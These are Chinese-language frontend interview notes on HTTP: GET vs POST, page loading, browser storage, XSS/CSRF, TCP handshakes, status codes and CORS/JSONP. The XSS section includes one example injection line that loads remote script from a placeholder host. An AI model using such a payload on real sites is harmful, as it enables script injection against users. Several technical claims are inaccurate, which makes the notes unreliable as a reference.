http部分

http 部分

# 1.GET 和 POST 的区别

  1. GET 请求在浏览器回退和刷新时是无害的,而 POST 请求会告知用户数据会被重新提交;
  2. GET 请求可以收藏为书签,POST 请求不可以收藏为书签;
  3. GET 请求可以被缓存,POST 请求不可以被缓存,除非在响应头中包含合适的 Cache-Control/Expires 字段,但是不建议缓存 POST 请求,其不满足幂等性,每次调用都会对服务器资源造成影响;
  4. GET 请求一般不具有请求体,因此只能进行 url 编码,而 POST 请求支持多种编码方式。
  5. GET 请求的参数可以被保留在浏览器的历史中,POST 请求不会被保留;
  6. GET 请求因为是向 URL 添加数据,不同的浏览器厂商,代理服务器,web 服务器都可能会有自己的长度限制,而 POST 请求无长度限制;
  7. GET 请求只允许 ASCII 字符,POST 请求无限制,支持二进制数据;
  8. GET 请求的安全性较差,数据被暴露在浏览器的 URL 中,所以不能用来传递敏感信息,POST 请求的安全性较好,数据不会暴露在 URL 中;
  9. GET 请求具有幂等性(多次请求不会对资源造成影响),POST 请求不幂等;
  10. GET 请求一般不具有请求体,请求中一般不包含 100-continue 协议,所以只会发一次请求,而 POST 请求在发送数据到服务端之前允许双方"握手",客户端先发送 Expect:100-continue 消息,询问服务端是否愿意接收数据,接收到服务端正确的 100-continue 应答后才会将请求体发送给服务端,服务端再响应 200 返回数据。

面试回答:

  1.首先get请求相当于一个url,很多方面根url是一样的。比如可以在地址栏直接访问、可以当做书签收藏、收到长度和编码的限制,只能是ASCII字符。没有请求体,参数附在url后面。安全性较差,速度相对较快。具有幂等性,多次请求不会对资源有影响
  2.post一般具有请求体,参数放在请求体重,支持多种编码格式。发送时会预先有一个100的确认过程,所以速度相对get要慢一点。多次请求会对资源产生影响。
  3.一般来说,查询用get,有修改时用post。

# 2.网页从输入网址到渲染完成经历了哪些过程?

  1. 输入网址进行 url 校验解析,如果是正确的URL,则开始加载,否则根据默认搜索引擎开始搜索
  2. 构建请求行,通过进程间通信ICP将请求发送到网络进程
  3. 查找缓存。看是否有缓存,如果有则直接返回,没有则开始网络请求
  4. 根据HOST和配置的DNS服务器,去查找对应URL的服务器IP端口
  • 请求
  1. 准确开始TCP请求,浏览器对TCP请求有数量限制,如果前面还有请求则需等待
  2. 开始建立TCP请求,三次握手后建立连接
  3. 发起HTTP请求。包含请求头、请求体、cooike、域名等等数据
  4. 服务器返回响应数据,状态码、返回的数据等
  5. 断开连接,四次挥手
  • 渲染
  1. 解析数据。根据Content-type判断数据类型,字节流则下载,如果是html则准备渲染
  2. 注意:如果是同一个页签下新开的且同一站点,会使用同一个进程渲染。
  3. 提交文档到渲染进程,更新浏览器状态,包含地址栏、前进后退等。就是正式进入了这个网页
  4. 解析HTML,加载子资源
  5. 构建dom树
  6. 将引入的CSS转换成浏览器能够识别的样式,结合style,开始样式计算。计算出每个dom的样式,
  7. 开始布局,根据DOM树和CSS生成一个只包含可见节点的render树,再计算位置和大小得到一个布局树。(回流会影响render树,重绘只会影响布局树)
  8. 开始绘制图层
  9. 光栅化:优先处理可视范围内的
  10. 合成页面,所有图层光栅化后显示页面

# 3. 存储方式

  1. cookies

    • cookie 的内容主要包括:名字、值、过期时间、路径和域。路径与域一起构成 cookie 的作用范围。若不设置时间,则表示这个 cookie 的生命期为浏览器会话期间,关闭浏览器窗口,cookie 就会消失。

    • cookie 数据始终在同源的 http 请求中携带(即使不需要),即 cookie 在浏览器和服务器间来回传递,

    • cookie 数据不能超过 4K

  2. localstorage 和 sessionStorage

    • 存储在本地,大小为 5M 左右
    • 数据要求同源
  3. sessionStorage、localStorage 和 cookie 的对比

    • 相同点:保存在浏览器端,且同源

    • 区别:

      ① cookie 只有 4kb,sessionStorage、localStorage 都是 5M 左右

      ② cookie 会在请求中来回传递,另外 2 个不会

      ③ cookie 可以设置作用域,其他不可以

      ④ sessionStorage 只在当前页签中生效,且关闭即销毁。localStorage 同源即可,且永久保存

      //设值和取值方法
      //cookie:
      document.cookie = key + '=' + value + '; expires=' + oDate.toDateString()
      document.cookie.split('; ')
      // sessionStorage
      window.sessionStorage.setItem('myname', '王大仙')
      window.sessionStorage.getItem('myname')
      // sessionStorage
      window.localStorage.setItem('myname', '王大仙')
      window.localStorage.getItem('myname')
      

# 4.XSS 和 CSRF

  • XSS 脚本注入 通过表单文本等途径向服务器里提交有害 SQL 或者 JS,例如在登陆里填写

    <script src=//xxxx.cn/image/t.js></script>

  • CSRF:跨站/跨域攻击 获得登陆信息后,在其他网站调用此网站的接口,进行操作

  • 区别一 XSS:不需要登录。 CSRF:需要用户先登录网站 A,获取 cookie。

  • 区别二(原理的区别) XSS:是向网站 A 注入 JS 代码,然后执行 JS 里的代码,篡改网站 A 的内容。 CSRF:是利用网站 A 本身的漏洞,去请求网站 A 的 api。

对策:XSS 提交的内容要进行过滤验证等 CSRF:token 验证,Referer 判断来源网站 验证。

# 5.http 和 TCP

  • TCP 是传输层,http 是应用层。HTTP 协议是建立在 TCP 协议之上的一种应用。TCP是用来打开传输通道的,http需要借助这个通道完成传输。

    相当于tcp是铁路,http是火车。得先铺好铁路,火车才能通信运送货物。一般http请求开始时打开铁路,结束之后就会关闭铁路

    但tcp本身是一种长连接,可以一直不关闭,也可以手动关闭

  • TCP 三次握手和四次挥手

  • 三次握手:客户端请求连接——服务端收到请求确认可以连接——客户端收到确认再发送一次回应

  • 四次挥手:主动方表示数据发送完毕——被动方表示也发送完毕——主动方发起中断请求——被动方确认可以终端

# http 状态码

1信息,服务器收到请求,需要请求者继续执行操作 2 成功,操作被成功接收并处理 3重定向,需要进一步的操作以完成请求 4 客户端错误,请求包含语法错误或无法完成请求 5** 服务器错误,服务器在处理请求的过程中发生了错误

  • 200
  • 301 永久重定向
  • 302 临时重定向
  • 304 缓存
  • 400 请求有问题
  • 401 身份认证
  • 403 拒绝请求
  • 404 notfound
  • 500 服务器错误

# 跨域

原因:浏览器同源策略要求相同协议 IP 端口 解决办法:JSONP,CORS,Nginx,白名单

  1. JSONP 只支持 get。原理:利用script标签的src属性不受同源策略的限制,并且资源加载完成后会被当作js脚本立即执行的特点,来达到跨域请求资源的目的。

    • 方法:前端创建一个script,并且传入一个回调作为参数。后端返回时要返回回调函数,前端会立即执行
    • 缺点:只支持get,需要后端配合。
    this.$http
      .jsonp('http://www.domain2.com:8080/login', {
        params: {},
        jsonp: 'handleCallback'
      })
      .then(res => {
        console.log(res)
      })
    
  2. CORS

    • 原理:浏览器在请求头中自动加入origin字段,origin字段用来说明本次请求来自哪个源(协议+域名+端口),服务器根据这个值,决定是否同意这次请求。同意之后返回的时候加上Access-Control-Allow-Origin字段。

-注意点: 1、普通跨域请求:只需服务器端设置 Access-Control-Allow-Origin. 2、带 cookie 跨域请求:前后端都需要进行设置 axios.defaults.withCredentials = true

  1. Nginx 代理 在 Nginx 中配置,如果是某个端口过来的请求,直接给转发到后台的端口
  2. proxy

# 对于初始化很多请求的情况下,可以用http2

浏览器对于http请求有数量限制,但http2没有

js部分

js部分

JS 部分

vue